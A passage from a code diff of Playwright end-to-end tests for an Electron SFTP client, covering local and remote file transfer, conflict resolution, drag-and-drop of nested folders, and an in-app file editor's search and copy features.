await client.rightClick('.session-current .file-list.local .sftp-item.selected', 10, 10)
await delay(1000)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item .anticon.anticon-cloud-upload')
await delay(3000)
// Wait for transfers to complete
await verifyFileTransfersComplete(client)
await delay(1000)
}
async function testAllConflictPolicies (client, testFolder) {
// Test each policy for local to remote transfers
await testConflictResolution(client, 'overwrite', 'local', 'remote')
await testConflictResolution(client, 'rename', 'local', 'remote')
await testConflictResolution(client, 'skip', 'local', 'remote')
// Test each policy for remote to local transfers
// await testConflictResolution(client, 'overwrite', 'remote', 'local')
// await testConflictResolution(client, 'rename', 'remote', 'local')
// await testConflictResolution(client, 'skip', 'remote', 'local')
}
async function testConflictResolution (client, policy, fromType, toType) {
// Select all items in the source panel
const selectedItems = await selectAllItems(client, fromType)
await delay(1500)
// Initiate transfer
const isUpload = fromType === 'local'
await client.rightClick(`.session-current .file-list.${fromType} .sftp-item.selected`, 10, 10)
await delay(1500)
// Click appropriate transfer menu item
const menuIconClass = isUpload ? 'cloud-upload' : 'cloud-download'
await client.click(`.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item .anticon.anticon-${menuIconClass}`)
await delay(3000)
// Handle conflict resolution based on policy
if (policy === 'skip') {
await client.click('.custom-modal-footer button:has-text("Skip all")')
// Debug: Check if modal closes after click
await delay(1000)
if (await client.elemExist('.custom-modal-container')) {
await client.click('.custom-modal-footer button:has-text("Skip all")')
}
} else if (policy === 'overwrite') {
// Check for first conflict item type (file vs folder) and click appropriate button
const isFolderConflict = await client.elemExist('.custom-modal-footer button:has-text("Merge all")')
if (isFolderConflict) {
await client.click('.custom-modal-footer button:has-text("Merge all")')
} else {
await client.click('.custom-modal-footer button:has-text("Overwrite all")')
}
} else if (policy === 'rename') {
await client.click('.custom-modal-footer button:has-text("Rename all")')
} else {
throw new Error(`Unsupported policy: ${policy}`)
}
await delay(5000)
// Wait for transfers to complete for overwrite and rename
if (policy !== 'skip') {
await verifyFileTransfersComplete(client)
} else {
// For skip, we've already handled each conflict manually
await delay(2000)
}
// Verify results based on policy
if (policy === 'rename') {
// Verify renamed items exist in destination (with rename- pattern)
const renamedItems = await client.locator(`.session-current .file-list.${toType} .sftp-item[title*="(rename-"]`)
const count = await renamedItems.count()
expect(count).toBeGreaterThan(0, `Expected to find renamed items from ${fromType} to ${toType} with policy ${policy}`)
} else if (policy === 'overwrite') {
// For overwrite, just verify the original count of items is maintained
const items = await client.locator(`.session-current .file-list.${toType} .real-file-item`)
const count = await items.count()
expect(count).toBe(selectedItems, `Expected to find ${selectedItems} items in ${toType} after overwrite`)
}
}
async function selectAllItems (client, type) {
// First deselect everything by clicking empty space
await client.click(`.session-current .file-list.${type} .sftp-item`)
await delay(500)
// Use selection context menu to select all real file items
await selectAllContextMenu(client, type)
await delay(1000)
// Count and return the number of selected items
const selectedItems = await client.locator(`.session-current .file-list.${type} .sftp-item.selected`).count()
expect(selectedItems).toBeGreaterThan(0, `Expected to select items in ${type}`)
return selectedItems
}
// async function handleSkipForEachItem (client, expectedItemCount) {
// // For folders with files inside, we may have more conflicts than the base item count
// // To handle this, we'll track the current conflict index and click Skip until all are done
// let conflictsHandled = 0
// // let timeWithoutConflict = 0
// const waitInterval = 2000 // Time to wait between checks
// // Continue until we have no more conflicts for a reasonable time
// while (conflictsHandled < expectedItemCount) {
// await client.click('.custom-modal-footer button span:text-is("Skip")')
// conflictsHandled++
// // Wait for a short time before checking again
// await delay(waitInterval)
// }
// console.log(`Total conflicts skipped: ${conflictsHandled}`)
// // We should have at least as many conflicts as selected items
// expect(conflictsHandled).toBeGreaterThanOrEqual(expectedItemCount,
// `Expected at least ${expectedItemCount} conflicts to be skipped, but only skipped ${conflictsHandled}`)
// }
async function cleanupTestFolders (client, testFolder) {
// Navigate back to parent folders (if not already there)
// Check if we need to navigate back
const localPathInput = await client.getValue('.session-current .sftp-local-section .sftp-title input')
if (localPathInput.includes(testFolder)) {
await navigateToParentFolder(client, 'local')
await delay(1000)
}
const remotePathInput = await client.getValue('.session-current .sftp-remote-section .sftp-title input')
if (remotePathInput.includes(testFolder)) {
await navigateToParentFolder(client, 'remote')
await delay(1000)
}
// Delete test folders
await deleteItem(client, 'local', testFolder)
await delay(1000)
await deleteItem(client, 'remote', testFolder)
await delay(1000)
}
+240
View File
@@ -0,0 +1,240 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
deleteItem,
enterFolder,
navigateToParentFolder,
verifyFileExists,
verifyFileTransfersComplete,
selectAllContextMenu, // Added missing import
closeApp
} = require('./common/common')
describe('file-transfer-local-remote', function () {
it('should test file and folder transfer including folders with files', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('018.file-transfer.spec.js: app launched')
await setupSftpConnection(client)
log('018.file-transfer.spec.js: sftp connected')
// Test transfer local->remote and remote->local
await testFileTransfer(client)
log('018.file-transfer.spec.js: file transfer tested')
await closeApp(electronApp, __filename)
log('018.file-transfer.spec.js: app closed')
})
})
async function testFileTransfer (client) {
const timestamp = Date.now()
// Create main test folders in both local and remote
const mainFolder = `transfer-test-${timestamp}`
await createFolder(client, 'local', mainFolder)
await createFolder(client, 'remote', mainFolder)
// Enter the test folder in local
await enterFolder(client, 'local', mainFolder)
await delay(2000)
// Create test files in local with specific prefixes for easier identification
const localFiles = [
`local-file-1-${timestamp}.txt`,
`local-file-2-${timestamp}.txt`,
`local-file-3-${timestamp}.txt`
]
// Create test folders in local
const localFolders = [
`local-folder-1-${timestamp}`,
`local-folder-2-${timestamp}`,
`local-folder-3-${timestamp}`
]
// Create all test items in local
for (const fileName of localFiles) {
await createFile(client, 'local', fileName)
await delay(800)
}
for (const folderName of localFolders) {
await createFolder(client, 'local', folderName)
await delay(800)
}
// Drag a file into one of the folders in local
const localSourceElement = await client.locator(`.session-current .file-list.local .sftp-item[title="${localFiles[0]}"]`)
const localTargetElement = await client.locator(`.session-current .file-list.local .sftp-item[title="${localFolders[0]}"]`)
// Get bounding boxes for drag operation
const localSourceBound = await localSourceElement.boundingBox()
const localTargetBound = await localTargetElement.boundingBox()
// Perform drag operation
await client.mouse.move(localSourceBound.x + localSourceBound.width / 2, localSourceBound.y + localSourceBound.height / 2)
await client.mouse.down()
await delay(500)
await client.mouse.move(localTargetBound.x + localTargetBound.width / 2, localTargetBound.y + localTargetBound.height / 2, { steps: 20 })
await delay(500)
await client.mouse.up()
await delay(3000) // Wait for drag-drop operation to complete
// Enter the test folder in remote
await enterFolder(client, 'remote', mainFolder)
await delay(2000)
// Create test files in remote with specific prefixes
const remoteFiles = [
`remote-file-1-${timestamp}.txt`,
`remote-file-2-${timestamp}.txt`,
`remote-file-3-${timestamp}.txt`
]
// Create test folders in remote
const remoteFolders = [
`remote-folder-1-${timestamp}`,
`remote-folder-2-${timestamp}`,
`remote-folder-3-${timestamp}`
]
// Create all test items in remote
for (const fileName of remoteFiles) {
await createFile(client, 'remote', fileName)
await delay(800)
}
for (const folderName of remoteFolders) {
await createFolder(client, 'remote', folderName)
await delay(800)
}
// Drag a file into one of the folders in remote
const remoteSourceElement = await client.locator(`.session-current .file-list.remote .sftp-item[title="${remoteFiles[0]}"]`)
const remoteTargetElement = await client.locator(`.session-current .file-list.remote .sftp-item[title="${remoteFolders[0]}"]`)
// Get bounding boxes for drag operation
const remoteSourceBound = await remoteSourceElement.boundingBox()
const remoteTargetBound = await remoteTargetElement.boundingBox()
// Perform drag operation
await client.mouse.move(remoteSourceBound.x + remoteSourceBound.width / 2, remoteSourceBound.y + remoteSourceBound.height / 2)
await client.mouse.down()
await delay(500)
await client.mouse.move(remoteTargetBound.x + remoteTargetBound.width / 2, remoteTargetBound.y + remoteTargetBound.height / 2, { steps: 20 })
await delay(500)
await client.mouse.up()
await delay(3000) // Wait for drag-drop operation to complete
// PART 1: LOCAL TO REMOTE TRANSFER (using context menu select all)
// Since one file is now in a folder, combine remaining visible items
const localVisibleItems = [localFiles[1], localFiles[2], ...localFolders]
// Use context menu to select all visible items in local
await selectAllContextMenu(client, 'local')
await delay(1000)
// Verify we selected the correct number of items
const selectedLocalItems = await client.locator('.session-current .file-list.local .sftp-item.selected')
const selectedLocalCount = await selectedLocalItems.count()
expect(selectedLocalCount).toBe(5) // 2 files + 3 folders
// Use context menu to upload to remote
await client.rightClick('.session-current .file-list.local .sftp-item.selected', 10, 10)
await delay(1000)
// Click the upload menu item
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item .anticon.anticon-cloud-upload')
await delay(10000) // Increased delay for folders with files to transfer
// Verify fileTransfers array is empty after the operation
await verifyFileTransfersComplete(client)
// Verify all local items were transferred to remote, including folder structure
for (const itemName of localVisibleItems) {
expect(await verifyFileExists(client, 'remote', itemName)).toBe(true)
}
// Verify the file inside the transferred folder
await enterFolder(client, 'remote', localFolders[0])
await delay(2000)
expect(await verifyFileExists(client, 'remote', localFiles[0])).toBe(true)
await navigateToParentFolder(client, 'remote')
await delay(2000)
// PART 2: REMOTE TO LOCAL TRANSFER (using ctrl/cmd-select)
// Since one file is now in a folder, combine remaining visible items
const remoteVisibleItems = [remoteFiles[1], remoteFiles[2], ...remoteFolders]
// Use ctrl/cmd-select for remote items
await client.click(`.session-current .file-list.remote .sftp-item[title="${remoteVisibleItems[0]}"]`)
await delay(500)
// Use keyboard modifier to select the rest of the items
const isMac = process.platform === 'darwin'
const modifier = isMac ? 'Meta' : 'Control'
for (let i = 1; i < remoteVisibleItems.length; i++) {
const itemElement = await client.locator(`.session-current .file-list.remote .sftp-item[title="${remoteVisibleItems[i]}"]`)
await itemElement.click({ modifiers: [modifier] })
await delay(500)
}
// Verify we selected the correct number of items
const selectedRemoteItems = await client.locator('.session-current .file-list.remote .sftp-item.selected')
const selectedRemoteCount = await selectedRemoteItems.count()
expect(selectedRemoteCount).toBe(5) // 2 files + 3 folders
// Use context menu to download to local
await client.rightClick('.session-current .file-list.remote .sftp-item.selected', 10, 10)
await delay(1000)
// Click the download menu item
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item .anticon.anticon-cloud-download')
await delay(10000) // Increased delay for folders with files to transfer
// Verify fileTransfers array is empty after the operation
await verifyFileTransfersComplete(client)
// Verify all remote items were transferred to local, including folder structure
for (const itemName of remoteVisibleItems) {
expect(await verifyFileExists(client, 'local', itemName)).toBe(true)
}
// Verify the file inside the transferred folder
await enterFolder(client, 'local', remoteFolders[0])
await delay(2000)
expect(await verifyFileExists(client, 'local', remoteFiles[0])).toBe(true)
await navigateToParentFolder(client, 'local')
await delay(2000)
// Navigate back to parent folders
await navigateToParentFolder(client, 'local')
await delay(2000)
await navigateToParentFolder(client, 'remote')
await delay(2000)
// Clean up - delete both test folders
await deleteItem(client, 'local', mainFolder)
await deleteItem(client, 'remote', mainFolder)
await delay(2000)
}
+196
View File
@@ -0,0 +1,196 @@
const { _electron: electron } = require('@playwright/test')
const fs = require('fs')
const path = require('path')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
deleteItem,
enterFolder,
navigateToParentFolder,
verifyFileExists,
verifyFileTransfersComplete,
closeApp
} = require('./common/common')
describe('drag-folder-with-files', function () {
it('should drag folder with files in both directions', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('019.drag-folder.spec.js: app launched')
await setupSftpConnection(client)
log('019.drag-folder.spec.js: sftp connected')
const stamp = Date.now()
const localRoot = `drag-folder-local-root-${stamp}`
const remoteRoot = `drag-folder-remote-root-${stamp}`
const localSrcFolder = `local-src-folder-${stamp}`
const localNestedFolder = `local-nested-folder-${stamp}`
const localRootFile = `local-root-file-${stamp}.txt`
const localNestedFile = `local-nested-file-${stamp}.txt`
const remoteTargetForLocalDrag = `remote-target-folder-${stamp}`
const remoteSrcFolder = `remote-src-folder-${stamp}`
const remoteNestedFolder = `remote-nested-folder-${stamp}`
const remoteRootFile = `remote-root-file-${stamp}.txt`
const remoteNestedFile = `remote-nested-file-${stamp}.txt`
const localTargetForRemoteDrag = `local-target-folder-${stamp}`
const localBasePath = await client.getValue('.session-current .sftp-local-section .sftp-title input')
const localRootAbsPath = path.resolve(localBasePath, localRoot)
try {
// Prepare isolated roots on both sides.
await createFolder(client, 'local', localRoot)
await createFolder(client, 'remote', remoteRoot)
// Build non-empty local source folder.
await enterFolder(client, 'local', localRoot)
await createFolder(client, 'local', localSrcFolder)
await enterFolder(client, 'local', localSrcFolder)
await createFile(client, 'local', localRootFile)
await createFolder(client, 'local', localNestedFolder)
await enterFolder(client, 'local', localNestedFolder)
await createFile(client, 'local', localNestedFile)
await navigateToParentFolder(client, 'local')
await navigateToParentFolder(client, 'local')
// Build remote target folder for local -> remote drag.
await enterFolder(client, 'remote', remoteRoot)
await createFolder(client, 'remote', remoteTargetForLocalDrag)
// Drag local source folder into remote target folder.
const localSourceSelector = `.session-current .file-list.local .sftp-item[title="${localSrcFolder}"]`
const remoteTargetSelector = `.session-current .file-list.remote .sftp-item[title="${remoteTargetForLocalDrag}"]`
await dragItemToItem(client, localSourceSelector, remoteTargetSelector)
await delay(8000)
await verifyFileTransfersComplete(client)
// Verify local -> remote result and nested content.
await enterFolder(client, 'remote', remoteTargetForLocalDrag)
expect(await verifyFileExists(client, 'remote', localSrcFolder)).toBe(true)
await enterFolder(client, 'remote', localSrcFolder)
expect(await verifyFileExists(client, 'remote', localRootFile)).toBe(true)
expect(await verifyFileExists(client, 'remote', localNestedFolder)).toBe(true)
await enterFolder(client, 'remote', localNestedFolder)
expect(await verifyFileExists(client, 'remote', localNestedFile)).toBe(true)
await navigateToParentFolder(client, 'remote')
await navigateToParentFolder(client, 'remote')
await navigateToParentFolder(client, 'remote')
// Build non-empty remote source folder for remote -> local drag.
await createFolder(client, 'remote', remoteSrcFolder)
await enterFolder(client, 'remote', remoteSrcFolder)
await createFile(client, 'remote', remoteRootFile)
await createFolder(client, 'remote', remoteNestedFolder)
await enterFolder(client, 'remote', remoteNestedFolder)
await createFile(client, 'remote', remoteNestedFile)
await navigateToParentFolder(client, 'remote')
await navigateToParentFolder(client, 'remote')
// Build local target folder for remote -> local drag.
await createFolder(client, 'local', localTargetForRemoteDrag)
// Drag remote source folder into local target folder.
const remoteSourceSelector = `.session-current .file-list.remote .sftp-item[title="${remoteSrcFolder}"]`
const localTargetSelector = `.session-current .file-list.local .sftp-item[title="${localTargetForRemoteDrag}"]`
await dragItemToItem(client, remoteSourceSelector, localTargetSelector)
await delay(8000)
await verifyFileTransfersComplete(client)
// Verify remote -> local result and nested content.
await enterFolder(client, 'local', localTargetForRemoteDrag)
expect(await verifyFileExists(client, 'local', remoteSrcFolder)).toBe(true)
await enterFolder(client, 'local', remoteSrcFolder)
expect(await verifyFileExists(client, 'local', remoteRootFile)).toBe(true)
expect(await verifyFileExists(client, 'local', remoteNestedFolder)).toBe(true)
await enterFolder(client, 'local', remoteNestedFolder)
expect(await verifyFileExists(client, 'local', remoteNestedFile)).toBe(true)
} finally {
// Always clear local test folder even if assertions fail.
await safeDeleteRoot(client, 'local', localRoot)
await forceDeleteLocalPath(localRootAbsPath)
// Keep remote cleanup as best effort to avoid leaking remote fixtures.
await safeDeleteRoot(client, 'remote', remoteRoot)
await closeApp(electronApp, __filename)
log('019.drag-folder.spec.js: app closed')
}
})
})
async function dragItemToItem (client, sourceSelector, targetSelector) {
const sourceElement = await client.locator(sourceSelector)
const targetElement = await client.locator(targetSelector)
const sourceBound = await sourceElement.boundingBox()
const targetBound = await targetElement.boundingBox()
expect(!!sourceBound).toBe(true)
expect(!!targetBound).toBe(true)
await client.mouse.move(
sourceBound.x + sourceBound.width / 2,
sourceBound.y + sourceBound.height / 2
)
await client.mouse.down()
await delay(500)
await client.mouse.move(
targetBound.x + targetBound.width / 2,
targetBound.y + targetBound.height / 2,
{ steps: 20 }
)
await delay(500)
await client.mouse.up()
}
async function ensureItemVisibleAtCurrentOrParent (client, type, itemName, maxHops = 8) {
const targetSelector = `.session-current .file-list.${type} .sftp-item[title="${itemName}"]`
for (let i = 0; i <= maxHops; i++) {
if (await client.elemExist(targetSelector)) {
return true
}
await navigateToParentFolder(client, type)
}
throw new Error(`Failed to find ${itemName} in ${type} pane during cleanup`)
}
async function safeDeleteRoot (client, type, itemName) {
try {
await ensureItemVisibleAtCurrentOrParent(client, type, itemName)
await deleteItem(client, type, itemName)
} catch (e) {
log(`019.drag-folder.spec.js: cleanup skipped for ${type}/${itemName}: ${e.message}`)
}
}
async function forceDeleteLocalPath (absPath) {
try {
if (!absPath || !fs.existsSync(absPath)) {
return
}
fs.rmSync(absPath, { recursive: true, force: true })
log(`019.drag-folder.spec.js: force deleted local path ${absPath}`)
} catch (e) {
log(`019.drag-folder.spec.js: force delete failed for ${absPath}: ${e.message}`)
}
}
+195
View File
@@ -0,0 +1,195 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(1000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
enterFolder,
navigateToParentFolder,
deleteItem,
closeApp
} = require('./common/common')
describe('file edit operations', function () {
it('should properly handle file editing, search functionality and copy button', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('019.file-edit.spec.js: app launched')
// Set up SFTP connection
await setupSftpConnection(client)
log('019.file-edit.spec.js: sftp connection setup')
// Test local file editing (using context menu)
await testFileEdit(client, 'local')
log('019.file-edit.spec.js: local file edit tested')
// Test remote file editing (testing both context menu and double-click)
await testFileEdit(client, 'remote', true)
log('019.file-edit.spec.js: remote file edit tested')
log('019.file-edit.spec.js: calling close')
await closeApp(electronApp, __filename)
log('019.file-edit.spec.js: app closed')
})
})
async function testFileEdit (client, type, testDoubleClick = false) {
// Create a parent test folder
const testFolderName = `edit-test-folder-${Date.now()}`
await createFolder(client, type, testFolderName)
await delay(2000)
// Enter the test folder
await enterFolder(client, type, testFolderName)
await delay(2000)
// Create a test file inside the folder
const testFileName = `edit-test-file-${Date.now()}.txt`
await createFile(client, type, testFileName)
await delay(2000)
// Test 1: Open editor using context menu
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${testFileName}"]`, 10, 10)
await delay(1000)
// Click the "Edit" option from context menu
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Edit")')
await delay(3000) // Wait for editor modal to open
// Verify the editor modal is open
await client.hasElem('.custom-modal-wrap .custom-modal-body textarea')
// Type multiline test content with repeating keywords for search testing
const testContent = `This is a ${type} test content for the file editor!
Second line of content with keyword.
Third line has another example.
Fourth line with keyword appearing again.
Fifth line is the last example line.
Keyword appears one final time here.`
await client.setValue('.custom-modal-wrap .custom-modal-body textarea', testContent)
await delay(1000)
// Test 2: Test search functionality
// Set a search term that appears multiple times - use the correct input selector
const searchKeyword = 'keyword'
await client.setValue('.custom-modal-wrap .custom-modal-body .ant-input-search input.ant-input', searchKeyword)
await delay(500)
// Press Enter to trigger search
// await client.keyboard.press('Enter')
// await delay(1000)
// Verify that search found some matches (counter should show "1/3" or similar)
const searchCounterText = await client.getText('.custom-modal-wrap .custom-modal-body .pd1x')
expect(searchCounterText).not.toBe('0/0')
// Test next/previous navigation buttons
// Click "next" button - use a more specific selector
await client.click('.custom-modal-wrap .custom-modal-body button:has(.anticon-arrow-down)')
await delay(500)
// Verify the counter incremented (should now be at "2/3" or similar)
const nextSearchCounterText = await client.getText('.custom-modal-wrap .custom-modal-body .pd1x')
expect(nextSearchCounterText).not.toBe(searchCounterText)
// Click "previous" button - use a more specific selector
await client.click('.custom-modal-wrap .custom-modal-body button:has(.anticon-arrow-up)')
await delay(500)
// Verify counter went back to original value
const prevSearchCounterText = await client.getText('.custom-modal-wrap .custom-modal-body .pd1x')
expect(prevSearchCounterText).toBe(searchCounterText)
// Test 3: Test the copy button
// Clear the clipboard first
await client.writeClipboard('')
await delay(500)
// Click the copy button - use a more specific selector
await client.click('.custom-modal-wrap .custom-modal-body button:has(.anticon-copy)')
await delay(1000)
// Read clipboard content and verify it matches our test content
const clipboardContent = await client.readClipboard()
expect(clipboardContent).toBe(testContent)
// Click the save button
await client.click('.custom-modal-wrap .custom-modal-body button:has-text("save")')
await delay(1000) // Wait for save operation to complete
// For remote files, also test double-click to open editor
if (type === 'remote' && testDoubleClick) {
// Double-click on the file to open editor
await client.doubleClick(`.session-current .file-list.${type} .sftp-item[title="${testFileName}"]`)
await delay(3000) // Wait for editor modal to open
// Verify the editor modal is open
await client.hasElem('.custom-modal-wrap .custom-modal-body textarea')
// Get the value from the editor to verify it contains our test content
const editorValue = await client.getValue('.custom-modal-wrap .custom-modal-body textarea')
expect(editorValue).toBe(testContent)
// Test search with a different keyword
const altSearchKeyword = 'example'
await client.setValue('.custom-modal-wrap .custom-modal-body .ant-input-search input.ant-input', altSearchKeyword)
await delay(500)
// Press Enter to trigger search
// await client.keyboard.press('Enter')
// await delay(1000)
// Verify that search found matches
const altSearchCounterText = await client.getText('.custom-modal-wrap .custom-modal-body .pd1x')
expect(altSearchCounterText).not.toBe('0/0')
// Add more content and save (to verify double-click editing works)
const additionalContent = '\nAdded through double-click access.'
await client.setValue('.custom-modal-wrap .custom-modal-body textarea', testContent + additionalContent)
await delay(1000)
// Save the updated content
await client.click('.custom-modal-wrap .custom-modal-body button:has-text("save")')
await delay(5000)
}
// Final verification: Reopen the file
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${testFileName}"]`, 10, 10)
await delay(1000)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Edit")')
await delay(3000)
// Get the value from the editor to verify the content
const editorValue = await client.getValue('.custom-modal-wrap .custom-modal-body textarea')
if (type === 'remote' && testDoubleClick) {
expect(editorValue).toBe(testContent + '\nAdded through double-click access.')
} else {
expect(editorValue).toBe(testContent)
}
// Close the editor using cancel button
await client.click('.custom-modal-wrap .custom-modal-body button:has-text("cancel")')
await delay(2000)
// Navigate back to the parent folder
await navigateToParentFolder(client, type)
await delay(2000)
// Clean up - delete the test folder
await deleteItem(client, type, testFolderName)
await delay(2000)
}
+250
View File
@@ -0,0 +1,250 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFile,
createFolder,
deleteItem,
enterFolder,
navigateToParentFolder,
verifyFileExists,
verifyFileTransfersComplete,
closeApp
} = require('./common/common')
describe('multi-file-drag-drop-operation', function () {
it('should test multiple file selection and drag-drop operations', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('019.file-op-drag-to-folder.spec.js: app launched')
await setupSftpConnection(client)
log('019.file-op-drag-to-folder.spec.js: sftp connected')
// Test for both local and remote
await testMultiFileDragDrop(client, 'local')
log('019.file-op-drag-to-folder.spec.js: local drag drop tested')
await testMultiFileDragDrop(client, 'remote')
log('019.file-op-drag-to-folder.spec.js: remote drag drop tested')
log('019.file-op-drag-to-folder.spec.js: calling close')
await closeApp(electronApp, __filename)
log('019.file-op-drag-to-folder.spec.js: app closed')
})
})
/**
* Select files by clicking the first and shift-clicking the last,
* then drag them into targetFolderName.
*/
async function dragFilesToFolder (client, type, fileNames, targetFolderName) {
// Select first file
await client.click(`.session-current .file-list.${type} .sftp-item[title="${fileNames[0]}"]`)
await delay(500)
// Shift-click last file to select all
const lastFile = client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileNames[fileNames.length - 1]}"]`)
await lastFile.click({ modifiers: ['Shift'] })
await delay(1000)
const sourceBound = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileNames[0]}"]`).boundingBox()
const targetBound = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${targetFolderName}"]`).boundingBox()
await client.mouse.move(
sourceBound.x + sourceBound.width / 2,
sourceBound.y + sourceBound.height / 2
)
await client.mouse.down()
await delay(500)
await client.mouse.move(
targetBound.x + targetBound.width / 2,
targetBound.y + targetBound.height / 2,
{ steps: 20 }
)
await delay(500)
await client.mouse.up()
await delay(3000)
}
async function testMultiFileDragDrop (client, type) {
// Create a main test folder first
const mainFolderName = `main-test-folder-${Date.now()}`
await createFolder(client, type, mainFolderName)
// Enter the main test folder
await enterFolder(client, type, mainFolderName)
await delay(2000)
// Create target folder for drag-drop operation
const targetFolderName = `target-folder-${Date.now()}`
await createFolder(client, type, targetFolderName)
// Create 3 test files
const fileNames = [
`file-1-${Date.now()}.txt`,
`file-2-${Date.now()}.txt`,
`file-3-${Date.now()}.txt`
]
for (const fileName of fileNames) {
await createFile(client, type, fileName)
await delay(800)
}
// --- Drag 1: files → targetFolder (no conflict) ---
await dragFilesToFolder(client, type, fileNames, targetFolderName)
// Verify transfers complete
await verifyFileTransfersComplete(client)
// Enter target folder to verify files were moved
await enterFolder(client, type, targetFolderName)
await delay(2000)
// Verify all three files exist in the target folder
for (const fileName of fileNames) {
expect(await verifyFileExists(client, type, fileName)).toBe(true)
}
// --- Drag files back to parent folder using parent-file-item ---
// Select all three files by clicking first and shift-clicking last
await client.click(`.session-current .file-list.${type} .sftp-item[title="${fileNames[0]}"]`)
await delay(500)
const lastFileElement = client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileNames[2]}"]`)
await lastFileElement.click({ modifiers: ['Shift'] })
await delay(1000)
// Verify all three files are selected
for (const fileName of fileNames) {
const item = client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileName}"]`)
const isSelected = await item.evaluate(el => el.classList.contains('selected'))
expect(isSelected).toBe(true)
}
// Drag from first file to parent-file-item
const dragSourceBound = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${fileNames[0]}"]`).boundingBox()
const parentFileBound = await client.locator(`.session-current .file-list.${type} .parent-file-item`).boundingBox()
await client.mouse.move(
dragSourceBound.x + dragSourceBound.width / 2,
dragSourceBound.y + dragSourceBound.height / 2
)
await client.mouse.down()
await delay(500)
await client.mouse.move(
parentFileBound.x + parentFileBound.width / 2,
parentFileBound.y + parentFileBound.height / 2,
{ steps: 20 }
)
await delay(500)
await client.mouse.up()
await delay(3000)
// Verify transfers complete
await verifyFileTransfersComplete(client)
// Go back to mainFolder and verify files are there
await navigateToParentFolder(client, type)
await delay(2000)
for (const fileName of fileNames) {
expect(await verifyFileExists(client, type, fileName)).toBe(true)
}
// Verify target folder is empty
await enterFolder(client, type, targetFolderName)
await delay(2000)
// The target folder should only have the parent-file-item and hidden-file-item
const itemCount = await client.locator(`.session-current .file-list.${type} .sftp-item`).count()
expect(itemCount).toBe(2) // Only parent-file-item and hidden-file-item
// Go back to mainFolder
await navigateToParentFolder(client, type)
await delay(2000)
// --- Conflict test setup: create same-named files in targetFolder ---
// Files are now in mainFolder, targetFolder is empty.
// Populate targetFolder with same file names so subsequent drags produce conflicts.
await enterFolder(client, type, targetFolderName)
await delay(1500)
for (const fileName of fileNames) {
await createFile(client, type, fileName)
await delay(500)
}
// Navigate back to mainFolder
await navigateToParentFolder(client, type)
await delay(1500)
// --- Drag 2 (conflict): files → targetFolder, resolve with Rename ---
// mainFolder has 3 files; targetFolder already has the same file names → conflict.
await dragFilesToFolder(client, type, fileNames, targetFolderName)
// Handle conflict with rename (reused from 018 pattern)
await client.click('.custom-modal-footer button:has-text("Rename all")')
await delay(3000)
await verifyFileTransfersComplete(client)
// Enter targetFolder and verify renamed items exist
await enterFolder(client, type, targetFolderName)
await delay(1500)
const renamedItems = client.locator(`.session-current .file-list.${type} .sftp-item[title*="(rename-"]`)
const renamedCount = await renamedItems.count()
expect(renamedCount).toBeGreaterThan(0)
log(`019: Found ${renamedCount} renamed items in ${type} ${targetFolderName}`)
// Navigate back to mainFolder
await navigateToParentFolder(client, type)
await delay(1500)
// --- Drag 3 (conflict): files → targetFolder, resolve with Overwrite ---
// After the rename drag, mainFolder files were moved; recreate them.
for (const fileName of fileNames) {
await createFile(client, type, fileName)
await delay(500)
}
// targetFolder still has the original-named files → conflict on overwrite.
await dragFilesToFolder(client, type, fileNames, targetFolderName)
// Handle conflict with overwrite (reused from 018 pattern)
await client.click('.custom-modal-footer button:has-text("Overwrite all")')
await delay(3000)
await verifyFileTransfersComplete(client)
// Enter targetFolder and verify original file names still exist (overwritten)
await enterFolder(client, type, targetFolderName)
await delay(1500)
for (const fileName of fileNames) {
expect(await verifyFileExists(client, type, fileName)).toBe(true)
}
log(`019: Overwrite conflict resolution verified in ${type} ${targetFolderName}`)
// Navigate back to mainFolder
await navigateToParentFolder(client, type)
await delay(1500)
// Go back to parent folder
await navigateToParentFolder(client, type)
await delay(2000)
// Clean up - delete the main test folder (which contains everything)
await deleteItem(client, type, mainFolderName)
await delay(2000)
}
+156
View File
@@ -0,0 +1,156 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
